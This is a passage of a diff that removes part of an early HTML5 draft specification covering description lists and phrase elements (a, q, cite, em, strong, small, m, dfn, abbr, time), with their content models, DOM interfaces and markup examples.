-  <p>If a <code><a href="#dl0">dl</a></code> element is empty, it contains no
-   groups.
-
-  <p>If a <code><a href="#dl0">dl</a></code> element contains non-<a
-   href="#inter-element" title="inter-element whitespace">whitespace</a> <a
-   href="#text-node" title="text node">text nodes</a>, or elements other than
-   <code><a href="#dt0">dt</a></code> and <code><a href="#dd0">dd</a></code>,
-   then those elements or <a href="#text-node" title="text node">text
-   nodes</a> do not form part of any groups in that <code><a
-   href="#dl0">dl</a></code>, and the document is non-conforming.
-
-  <p>If a <code><a href="#dl0">dl</a></code> element contains only <code><a
-   href="#dt0">dt</a></code> elements, then it consists of one group with
-   names but no values, and the document is non-conforming.
-
-  <p>If a <code><a href="#dl0">dl</a></code> element contains only <code><a
-   href="#dd0">dd</a></code> elements, then it consists of one group with
-   values but no names, and the document is non-conforming.
-
-  <p class=note>The <code><a href="#dl0">dl</a></code> element is
-   inappropriate for marking up dialogue, since dialogue is ordered (each
-   speaker/line pair comes after the next). For an example of how to mark up
-   dialogue, see the <code><a href="#dialog0">dialog</a></code> element.
-
-  <h4 id=the-dt><span class=secno>3.11.5. </span>The <dfn
-   id=dt0><code>dt</code></dfn> element</h4>
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Before <code><a href="#dd0">dd</a></code> or <code><a
-    href="#dt0">dt</a></code> elements inside <code><a
-    href="#dl0">dl</a></code> elements.
-
-   <dd>Before a <code><a href="#dd0">dd</a></code> element inside a <code><a
-    href="#dialog0">dialog</a></code> element.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#dt0">dt</a></code> element represents the term, or
-   name, part of a term-description group in a description list (<code><a
-   href="#dl0">dl</a></code> element), and the talker, or speaker, part of a
-   talker-discourse pair in a conversation (<code><a
-   href="#dialog0">dialog</a></code> element).
-
-  <p class=note>The <code><a href="#dt0">dt</a></code> element itself, when
-   used in a <code><a href="#dl0">dl</a></code> element, does not indicate
-   that its contents are a term being defined, but this can be indicated
-   using the <code><a href="#dfn0">dfn</a></code> element.
-
-  <h4 id=the-dd><span class=secno>3.11.6. </span>The <dfn
-   id=dd0><code>dd</code></dfn> element</h4>
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>After <code><a href="#dt0">dt</a></code> or <code><a
-    href="#dd0">dd</a></code> elements inside <code><a
-    href="#dl0">dl</a></code> elements.
-
-   <dd>After a <code><a href="#dt0">dt</a></code> element inside a <code><a
-    href="#dialog0">dialog</a></code> element.
-
-   <dt>Content model:
-
-   <dd>When the element is a child of a <code><a href="#dl0">dl</a></code>
-    element and the grandchild of an element that is <a href="#determining2"
-    title="Determining if a particular element contains block-level elements
-    or inline-level content">being used as an inline-level content
-    container</a>: <a href="#inline-level1">inline-level content</a>.
-
-   <dd>Otherwise: zero or more <a href="#block-level1">block-level
-    elements</a>, or <a href="#inline-level1">inline-level content</a> (but
-    not both).
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#dd0">dd</a></code> element represents the
-   description, definition, or value, part of a term-description group in a
-   description list (<code><a href="#dl0">dl</a></code> element), and the
-   discourse, or quote, part in a conversation (<code><a
-   href="#dialog0">dialog</a></code> element).
-
-  <p>The content model of a <code><a href="#dd0">dd</a></code> element
-   depends on the way its parent element is being used. If the parent element
-   is a <code><a href="#dl0">dl</a></code> element that is being used as
-   structured inline content (i.e. if the <code><a href="#dl0">dl</a></code>
-   element's parent element is being <a href="#determining2"
-   title="Determining if a particular element contains block-level elements
-   or inline-level content">used as an inline-level content</a> container),
-   then the <code><a href="#dd0">dd</a></code> element must only contain <a
-   href="#inline-level1">inline-level content</a>.
-
-  <p>Otherwise, the element may be used either for <a href="#inline-level1"
-   title="inline-level content">inline content</a> or <a
-   href="#block-level1">block-level elements</a>.
-
-  <h3 id=phrase><span class=secno>3.12. </span>Phrase elements</h3>
-  <!-- XXXX ruby (delayed until someone can define it with error handling rules) -->
-
-  <h4 id=the-a><span class=secno>3.12.1. </span>The <dfn
-   id=a0><code>a</code></dfn> element</h4>
-
-  <p><a href="#interactive3" title="interactive elements">Interactive</a>, <a
-   href="#strictly">strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed, if there are no ancestor <a href="#interactive3">interactive
-    elements</a>.
-
-   <dt>Content model:
-
-   <dd>When used in an element whose content model is only <a
-    href="#strictly">strictly inline-level content</a>: only <a
-    href="#significant" title="significant inline content">significant</a> <a
-    href="#strictly">strictly inline-level content</a>, but there must be no
-    <a href="#interactive3" title="interactive elements">interactive</a>
-    descendants.
-
-   <dd>Otherwise: any <a href="#significant" title="significant inline
-    content">significant</a> <a href="#inline-level1">inline-level
-    content</a>, but there must be no <a href="#interactive3"
-    title="interactive elements">interactive</a> descendants.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-hyperlink-href><a href="#href5">href</a></code>
-
-   <dd><code title=attr-hyperlink-rel><a href="#rel3">rel</a></code>
-
-   <dd><code title=attr-hyperlink-media><a href="#media5">media</a></code>
-
-   <dd><code title=attr-hyperlink-hreflang><a
-    href="#hreflang3">hreflang</a></code>
-
-   <dd><code title=attr-hyperlink-type><a href="#type14">type</a></code>
-
-   <dd><code title=attr-hyperlink-ping><a href="#ping">ping</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlanchorelement>HTMLAnchorElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#href3" title=dom-a-href>href</a>;
-           attribute DOMString <a href="#rel1" title=dom-a-rel>rel</a>;
-           attribute DOMString <a href="#media3" title=dom-a-media>media</a>;
-           attribute DOMString <a href="#hreflang1" title=dom-a-hreflang>hreflang</a>;
-           attribute DOMString <a href="#type3" title=dom-a-type>type</a>;
-           attribute DOMString <a href="#ping0" title=dom-a-ping>ping</a>;
-};</pre>
-
-    <p>The <code title=command-ro><a href="#command3">Command</a></code>
-     interface must also be implemented by this element.</p>
-  </dl>
-
-  <p>If the <code><a href="#a0">a</a></code> element has an <code
-   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute, then
-   it represents a <a href="#hyperlinks">hyperlink</a>.
-
-  <p>If the <code><a href="#a0">a</a></code> element has no <code
-   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute, then
-   the element is a placeholder for where a link might otherwise have been
-   placed, if it had been relevant.
-
-  <div class=example>
-   <p>If a site uses a consistent navigation toolbar on every page, then the
-    link that would normally link to the page itself could be marked up using
-    an <code><a href="#a0">a</a></code> element:</p>
-
-   <pre>AMPERSANDlt;nav>
- AMPERSANDlt;ul>
-  AMPERSANDlt;li> AMPERSANDlt;a href="/">HomeAMPERSANDlt;/a> AMPERSANDlt;/li>
-  AMPERSANDlt;li> AMPERSANDlt;a href="/news">NewsAMPERSANDlt;/a> AMPERSANDlt;/li>
-  AMPERSANDlt;li> AMPERSANDlt;a>ExamplesAMPERSANDlt;/a> AMPERSANDlt;/li>
-  AMPERSANDlt;li> AMPERSANDlt;a href="/legal">LegalAMPERSANDlt;/a> AMPERSANDlt;/li>
- AMPERSANDlt;/ul>
-AMPERSANDlt;/nav></pre>
-  </div>
-
-  <p>Interactive user agents should allow users to <a href="#following1"
-   title="following hyperlinks">follow hyperlinks</a> created using the
-   <code><a href="#a0">a</a></code> element. The <code
-   title=attr-hyperlink-href><a href="#href5">href</a></code> and <code
-   title=attr-hyperlink-ping><a href="#ping">ping</a></code> attributes
-   decide how the link is followed. The <code title=attr-hyperlink-rel><a
-   href="#rel3">rel</a></code>, <code title=attr-hyperlink-media><a
-   href="#media5">media</a></code>, <code title=attr-hyperlink-hreflang><a
-   href="#hreflang3">hreflang</a></code>, and <code
-   title=attr-hyperlink-type><a href="#type14">type</a></code> attributes may
-   be used to indicate to the user the likely nature of the target resource
-   before the user follows the link.
-
-  <p class=big-issue>default action of clicking a link is to check if target
-   was an image with ismap; if so, do <span>server-side image map</span>
-   processing, otherwise, fire DOMActivate on the link.
-
-  <p>The <code><a href="#a0">a</a></code> element must not be <a
-   href="#significant" title="significant inline content">empty</a>.
-
-  <p>The DOM attributes <dfn id=href3
-   title=dom-a-href><code>href</code></dfn>, <dfn id=rel1
-   title=dom-a-rel><code>rel</code></dfn>, <dfn id=media3
-   title=dom-a-media><code>media</code></dfn>, <dfn id=hreflang1
-   title=dom-a-hreflang><code>hreflang</code></dfn>, <dfn id=type3
-   title=dom-a-type><code>type</code></dfn>, and <dfn id=ping0
-   title=dom-a-ping><code>ping</code></dfn> each must <a
-   href="#reflect">reflect</a> the respective content attributes of the same
-   name.
-
-  <h4 id=the-q><span class=secno>3.12.2. </span>The <dfn
-   id=q0><code>q</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When used in an element whose content model is only <a
-    href="#strictly">strictly inline-level content</a>: only <a
-    href="#strictly">strictly inline-level content</a>.
-
-   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-q-cite><a href="#cite2">cite</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd> The <code><a href="#q0">q</a></code> element uses the <code><a
-    href="#htmlquoteelement">HTMLQuoteElement</a></code> interface.
-  </dl>
-
-  <p>The <code><a href="#q0">q</a></code> element represents a part of a
-   paragraph quoted from another source.
-
-  <p>Content inside a <code><a href="#q0">q</a></code> element must be quoted
-   from another source, whose URI, if it has one, should be cited in the <dfn
-   id=cite2 title=attr-q-cite><code>cite</code></dfn> attribute.
-
-  <p>If the <code title=attr-q-cite><a href="#cite2">cite</a></code>
-   attribute is present, it must be a URI (or IRI). User agents should allow
-   users to follow such citation links.
-
-  <p>If a <code><a href="#q0">q</a></code> element is contained (directly or
-   indirectly) in a <a href="#paragraph">paragraph</a> that contains a single
-   <code><a href="#cite3">cite</a></code> element and has no other <code><a
-   href="#q0">q</a></code> element descendants, then, the citation given by
-   that <code><a href="#cite3">cite</a></code> element gives the source of
-   the quotation contained in the <code><a href="#q0">q</a></code> element.</p>
-  <!-- XXX need examples -->
-
-  <h4 id=the-cite><span class=secno>3.12.3. </span>The <dfn
-   id=cite3><code>cite</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.</dd>
-   <!-- XXX should the cite element have a cite attribute? -->
-  </dl>
-
-  <p>The <code><a href="#cite3">cite</a></code> element represents a
-   citation: the source, or reference, for a quote or statement made in the
-   document.
-
-  <p class=note>A <em>citation</em> is not a <em>quote</em> (for which the
-   <code><a href="#q0">q</a></code> element is appropriate).
-
-  <div class=example>
-   <p>This is incorrect usage:</p>
-
-   <pre>AMPERSANDlt;p>AMPERSANDlt;cite>This is wrong!AMPERSANDlt;/cite>, said Ian.AMPERSANDlt;/p></pre>
-
-   <p>This is the correct way to do it:</p>
-
-   <pre>AMPERSANDlt;p>AMPERSANDlt;q>This is correct!AMPERSANDlt;/q>, said AMPERSANDlt;cite>IanAMPERSANDlt;/cite>.AMPERSANDlt;/p></pre>
-
-   <p>This is also wrong, because the title and the name are not references
-    or citations:</p>
-
-   <pre>AMPERSANDlt;p>My favourite book is AMPERSANDlt;cite>The Reality DysfunctionAMPERSANDlt;/cite>
-by AMPERSANDlt;cite>Peter F. HamiltonAMPERSANDlt;/cite>.AMPERSANDlt;/p></pre>
-
-   <p>This is correct, because even though the source is not quoted, it is
-    cited:</p>
-
-   <pre>AMPERSANDlt;p>According to AMPERSANDlt;cite>the Wikipedia article on
-HTMLAMPERSANDlt;/cite>, HTML is defined in formal specifications that were
-developed and published throughout the 1990s.AMPERSANDlt;/p></pre>
-  </div>
-
-  <p class=note>The <code><a href="#cite3">cite</a></code> element can apply
-   to <code><a href="#blockquote0">blockquote</a></code> and <code><a
-   href="#q0">q</a></code> elements in certain cases described in the
-   definitions of those elements.
-
-  <h4 id=the-em><span class=secno>3.12.4. </span>The <dfn
-   id=em0><code>em</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When used in an element whose content model is only <a
-    href="#strictly">strictly inline-level content</a>: only <a
-    href="#strictly">strictly inline-level content</a>.
-
-   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#em0">em</a></code> element represents stress
-   emphasis of its contents.
-
-  <p>The level of emphasis that a particlar piece of content has is given by
-   its number of ancestor <code><a href="#em0">em</a></code> elements.
-
-  <p>The placement of emphasis changes the meaning of the sentence. The
-   element thus forms an integral part of the content. The precise way in
-   which emphasis is used in this way depends on the language.
-
-  <div class=example>
-   <p>These examples show how changing the emphasis changes the meaning.
-    First, a general statement of fact, with no emphasis:</p>
-
-   <pre>AMPERSANDlt;p>Cats are cute animals.AMPERSANDlt;/p></pre>
-
-   <p>By emphasising the first word, the statement implies that the kind of
-    animal under discussion is in question (maybe someone is asserting that
-    dogs are cute):</p>
-
-   <pre>AMPERSANDlt;p>AMPERSANDlt;em>CatsAMPERSANDlt;/em> are cute animals.AMPERSANDlt;/p></pre>
-
-   <p>Moving the emphasis to the verb, one highlights that the truth of the
-    entire sentence is in question (maybe someone is saying cats are not
-    cute):</p>
-
-   <pre>AMPERSANDlt;p>Cats AMPERSANDlt;em>areAMPERSANDlt;/em> cute animals.AMPERSANDlt;/p></pre>
-
-   <p>By moving it to the adjective, the exact nature of the cats is
-    reasserted (maybe someone suggested cats were <em>mean</em> animals):</p>
-
-   <pre>AMPERSANDlt;p>Cats are AMPERSANDlt;em>cuteAMPERSANDlt;/em> animals.AMPERSANDlt;/p></pre>
-
-   <p>Similarly, if someone asserted that cats were vegetables, someone
-    correcting this might emphasise the last word:</p>
-
-   <pre>AMPERSANDlt;p>Cats are cute AMPERSANDlt;em>animalsAMPERSANDlt;/em>.AMPERSANDlt;/p></pre>
-
-   <p>By emphasising the entire sentence, it becomes clear that the speaker
-    is fighting hard to get the point across. This kind of emphasis also
-    typically affects the punctuation, hence the exclamation mark here.</p>
-
-   <pre>AMPERSANDlt;p>AMPERSANDlt;em>Cats are cute animals!AMPERSANDlt;/em>AMPERSANDlt;/p></pre>
-
-   <p>Anger mixed with emphasising the cuteness could lead to markup such as:</p>
-
-   <pre>AMPERSANDlt;p>AMPERSANDlt;em>Cats are AMPERSANDlt;em>cuteAMPERSANDlt;/em> animals!AMPERSANDlt;/em>AMPERSANDlt;/p></pre>
-  </div>
-  <!-- XXX should say it is wrong to use as in:
-
-   <p><em>Note</em>: ...</p>
-
-  -->
-
-  <h4 id=the-strong><span class=secno>3.12.5. </span>The <dfn
-   id=strong0><code>strong</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When used in an element whose content model is only <a
-    href="#strictly">strictly inline-level content</a>: only <a
-    href="#strictly">strictly inline-level content</a>.
-
-   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd><code title=class-error><a href="#error0">error</a></code>, <code
-    title=class-warning><a href="#warning0">warning</a></code>
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#strong0">strong</a></code> element represents strong
-   importance for its contents.
-
-  <p>The relative level of importance of a piece of content is given by its
-   number of ancestor <code><a href="#strong0">strong</a></code> elements;
-   each <code><a href="#strong0">strong</a></code> element increases the
-   importance of its contents.
-
-  <p>Changing the importance of a piece of text with the <code><a
-   href="#strong0">strong</a></code> element does not change the meaning of
-   the sentence.
-
-  <div class=example>
-   <p>Here is an example of a warning notice in a game, with the various
-    parts marked up according to how important they are:</p>
-   <!-- DO NOT REFLOW THIS EXAMPLE it has been carefully balanced -->
-   <pre>AMPERSANDlt;p>AMPERSANDlt;strong>Warning.AMPERSANDlt;/strong> This dungeon is dangerous.
-AMPERSANDlt;strong>Avoid the ducks.AMPERSANDlt;/strong> Take any gold you find.
-AMPERSANDlt;strong>AMPERSANDlt;strong>Do not take any of the diamondsAMPERSANDlt;/strong>,
-they are explosive and AMPERSANDlt;strong>will destroy anything within
-ten meters.AMPERSANDlt;/strong>AMPERSANDlt;/strong> You have been warned.AMPERSANDlt;/p></pre>
-  </div>
-
-  <h4 id=the-small><span class=secno>3.12.6. </span>The <dfn
-   id=small0><code>small</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When used in an element whose content model is only <a
-    href="#strictly">strictly inline-level content</a>: only <a
-    href="#strictly">strictly inline-level content</a>.
-
-   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#small0">small</a></code> element represents small
-   print (part of a document often describing legal restrictions, such as
-   copyrights or other disadvantages), or other side comments.
-
-  <p class=note>The <code><a href="#small0">small</a></code> element does not
-   "de-emphasise" or lower the importance of text emphasised by the <code><a
-   href="#em0">em</a></code> element or marked as important with the <code><a
-   href="#strong0">strong</a></code> element.
-
-  <div class=example>
-   <p>In this example the footer contains contact information and a
-    copyright.</p>
-
-   <pre>AMPERSANDlt;footer>
- AMPERSANDlt;address>
-  For more details, contact
-  AMPERSANDlt;a href="mailto:js@example.com">John SmithAMPERSANDlt;/a>.
- AMPERSANDlt;/address>
- AMPERSANDlt;p>AMPERSANDlt;small>AMPERSANDcopy; copyright 2038 Example Corp.AMPERSANDlt;/small>AMPERSANDlt;/p>
-AMPERSANDlt;/footer></pre>
-
-   <p>In this second example, the <code><a href="#small0">small</a></code>
-    element is used for a side comment.</p>
-
-   <pre>AMPERSANDlt;p>Example Corp today announced record profits for the
-second quarter AMPERSANDlt;small>(Full Disclosure: Foo News is a subsidiary of
-Example Corp)AMPERSANDlt;/small>, leading to speculation about a third quarter
-merger with Demo Group.AMPERSANDlt;/p></pre>
-
-   <p>In this last example, the <code><a href="#small0">small</a></code>
-    element is marked as being <em>important</em> small print.</p>
-
-   <pre>AMPERSANDlt;p>AMPERSANDlt;strong>AMPERSANDlt;small>Continued use of this service will result in a kiss.AMPERSANDlt;/small>AMPERSANDlt;/strong>AMPERSANDlt;/p></pre>
-  </div>
-
-  <h4 id=the-m><span class=secno>3.12.7. </span>The <dfn
-   id=m0><code>m</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When used in an element whose content model is only <a
-    href="#strictly">strictly inline-level content</a>: only <a
-    href="#strictly">strictly inline-level content</a>.
-
-   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#m0">m</a></code> element represents a run of text
-   marked or highlighted.
-
-  <div class=example>
-   <p>In the following snippet, a paragraph of text refers to a specific part
-    of a code fragment.</p>
-
-   <pre>AMPERSANDlt;p>The highlighted part below is where the error lies:AMPERSANDlt;/p>
-AMPERSANDlt;pre>AMPERSANDlt;code>var i: Integer;
-begin
-   i := AMPERSANDlt;m>1.1AMPERSANDlt;/m>;
-end.AMPERSANDlt;/code>AMPERSANDlt;/pre></pre>
-
-   <p>Another example of the <code><a href="#m0">m</a></code> element is
-    highlighting parts of a document that are matching some search string. If
-    someone looked at a document, and the server knew that the user was
-    searching for the word "kitten", then the server might return the
-    document with one paragraph modified as follows:</p>
-
-   <pre>AMPERSANDlt;p>I also have some AMPERSANDlt;m>kittenAMPERSANDlt;/m>s who are visiting me
-these days. They're really cute. I think they like my garden!AMPERSANDlt;/p></pre>
-  </div>
-
-  <h4 id=the-dfn><span class=secno>3.12.8. </span>The <dfn
-   id=dfn0><code>dfn</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed, if there are no ancestor <code><a href="#dfn0">dfn</a></code>
-    elements.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>, but there must
-    be no descendant <code><a href="#dfn0">dfn</a></code> elements.
-
-   <dt>Element-specific attributes:
-
-   <dd>None, but the <code title=attr-dfn-title><a
-    href="#title6">title</a></code> attribute has special semantics on this
-    element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#dfn0">dfn</a></code> element represents the defining
-   instance of a term. The <a href="#paragraph">paragraph</a>, <a href="#dl0"
-   title=dl>description list group</a>, or <a href="#sectioning"
-   title="sectioning elements">section</a> that contains the <code><a
-   href="#dfn0">dfn</a></code> element contains the definition for the term
-   given by the contents of the <code><a href="#dfn0">dfn</a></code> element.
-
-  <p><code><a href="#dfn0">dfn</a></code> elements must not be nested.
-
-  <p><dfn id=defining>Defining term</dfn>: If the <code><a
-   href="#dfn0">dfn</a></code> element has a <dfn id=title6
-   title=attr-dfn-title><code>title</code></dfn> attribute, then the exact
-   value of that attribute is the term being defined. Otherwise, if it
-   contains exactly one element child node and no child <a href="#text-node"
-   title="text node">text nodes</a>, and that child element is an <code><a
-   href="#abbr0">abbr</a></code> element with a <code
-   title=attr-abbr-title><a href="#title7">title</a></code> attribute, then
-   the exact value of <em>that</em> attribute is the term being defined.
-   Otherwise, it is the exact <code><a
-   href="#textcontent">textContent</a></code> of the <code><a
-   href="#dfn0">dfn</a></code> element that gives the term being defined.</p>
-  <!-- XXX that means <dfn>x \n x</dfn> won't match <span>x x</span> -->
-
-  <p>If the <code title=attr-dfn-title><a href="#title6">title</a></code>
-   attribute of the <code><a href="#dfn0">dfn</a></code> element is present,
-   then it must only contain the term being defined.
-
-  <p>There must only be one <code><a href="#dfn0">dfn</a></code> element per
-   document for each term defined (i.e. there must not be any duplicate <a
-   href="#defining" title="defining term">terms</a>).
-
-  <p class=note>The <code title=attr-title><a href="#title1">title</a></code>
-   attribute of ancestor elements does not affect <code><a
-   href="#dfn0">dfn</a></code> elements.
-
-  <p>The <code><a href="#dfn0">dfn</a></code> element enables automatic
-   cross-references. Specifically, any <code><a
-   href="#span0">span</a></code>, <code><a href="#abbr0">abbr</a></code>,
-   <code><a href="#code0">code</a></code>, <code><a
-   href="#var0">var</a></code>, <code><a href="#samp0">samp</a></code>, or
-   <code><a href="#i0">i</a></code> element that has a non-empty <code
-   title=attr-title><a href="#title1">title</a></code> attribute whose value
-   exactly equals the <a href="#defining" title="defining term">term</a> of a
-   <code><a href="#dfn0">dfn</a></code> element in the same document, or
-   which has no <code title=attr-title><a href="#title1">title</a></code>
-   attribute but whose <code><a href="#textcontent">textContent</a></code>
-   exactly equals the <a href="#defining" title="defining term">term</a> of a
-   <code><a href="#dfn0">dfn</a></code> element in the document, and that has
-   no <a href="#interactive3">interactive elements</a> or <code><a
-   href="#dfn0">dfn</a></code> elements either as ancestors or descendants,
-   and has no other elements as ancestors that are themselves matching these
-   conditions, should be presented in such a way that the user can jump from
-   the element to the first <code><a href="#dfn0">dfn</a></code> element
-   giving the defining instance of that term.</p>
-  <!-- XXX that means <dfn>x x</dfn> won't match <span>x \n x</span> -->
-  <!-- need to mention that <span> is useful for cross-refs that don't
-  actually use the term itself -->
-
-  <div class=example>
-   <p>In the following fragment, the term "GDO" is first defined in the first
-    paragraph, then used in the second. A compliant UA could provide a link
-    from the <code><a href="#abbr0">abbr</a></code> element in the second
-    paragraph to the <code><a href="#dfn0">dfn</a></code> element in the
-    first.</p>
-
-   <pre>AMPERSANDlt;p>The AMPERSANDlt;dfn>AMPERSANDlt;abbr title="Garage Door Opener">GDOAMPERSANDlt;/abbr>AMPERSANDlt;/dfn>
-is a device that allows off-world teams to open the iris.AMPERSANDlt;/p>
-AMPERSANDlt;!-- ... later in the document: -->
-AMPERSANDlt;p>Teal'c activated his AMPERSANDlt;abbr title="Garage Door Opener">GDOAMPERSANDlt;/abbr>
-and so Hammond ordered the iris to be opened.AMPERSANDlt;/p></pre>
-   <!-- XXX need some examples of nesting where the top element makes
-   a crossref but the inner ones don't despite also matching the
-   algorithm above -->
-   <!-- XXX need some examples of duplicates being bad, of title
-   attributes being bad, etc -->
-   </div>
-
-  <h4 id=the-abbr><span class=secno>3.12.9. </span>The <dfn
-   id=abbr0><code>abbr</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None, but the <code title=attr-abbr-title><a
-    href="#title7">title</a></code> attribute has special semantics on this
-    element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#abbr0">abbr</a></code> element represents an
-   abbreviation or acronym. The <dfn id=title7
-   title=attr-abbr-title><code>title</code></dfn> attribute should be used to
-   provide an expansion of the abbreviation. If present, the attribute must
-   only contain an expansion of the abbreviation.
-
-  <div class=example>
-   <p>The paragraph below contains an abbreviation marked up with the
-    <code><a href="#abbr0">abbr</a></code> element.</p>
-
-   <pre>AMPERSANDlt;p>The AMPERSANDlt;abbr title="Web Hypertext Application Technology
-Working Group">WHATWGAMPERSANDlt;/abbr> is a loose unofficial collaboration of
-Web browser manufacturers and interested parties who wish to develop
-new technologies designed to allow authors to write and deploy
-Applications over the World Wide Web.AMPERSANDlt;/p></pre>
-  </div>
-
-  <p>The <code title=attr-abbr-title><a href="#title7">title</a></code>
-   attribute may be omitted if there is a <code><a
-   href="#dfn0">dfn</a></code> element in the document whose <a
-   href="#defining">defining term</a> is the abbreviation (the <code><a
-   href="#textcontent">textContent</a></code> of the <code><a
-   href="#abbr0">abbr</a></code> element).
-
-  <div class=example>
-   <p>In the example below, the word "Zat" is used as an abbreviation in the
-    second paragraph. The abbreviation is defined in the first, so the
-    explanatory <code title=attr-abbr-title><a
-    href="#title7">title</a></code> attribute has been omitted. Because of
-    the way <code><a href="#dfn0">dfn</a></code> elements are defined, the
-    second <code><a href="#abbr0">abbr</a></code> element in this example
-    would be connected (in some UA-specific way) to the first.</p>
-
-   <pre>AMPERSANDlt;p>The AMPERSANDlt;dfn>AMPERSANDlt;abbr>ZatAMPERSANDlt;/abbr>AMPERSANDlt;/dfn>, short for Zat'ni'catel, is a weapon.AMPERSANDlt;/p>
-AMPERSANDlt;p>Jack used a AMPERSANDlt;abbr>ZatAMPERSANDlt;/abbr> to make the boxes of evidence disappear.AMPERSANDlt;/p></pre>
-  </div>
-
-  <h4 id=the-time><span class=secno>3.12.10. </span>The <dfn
-   id=time0><code>time</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
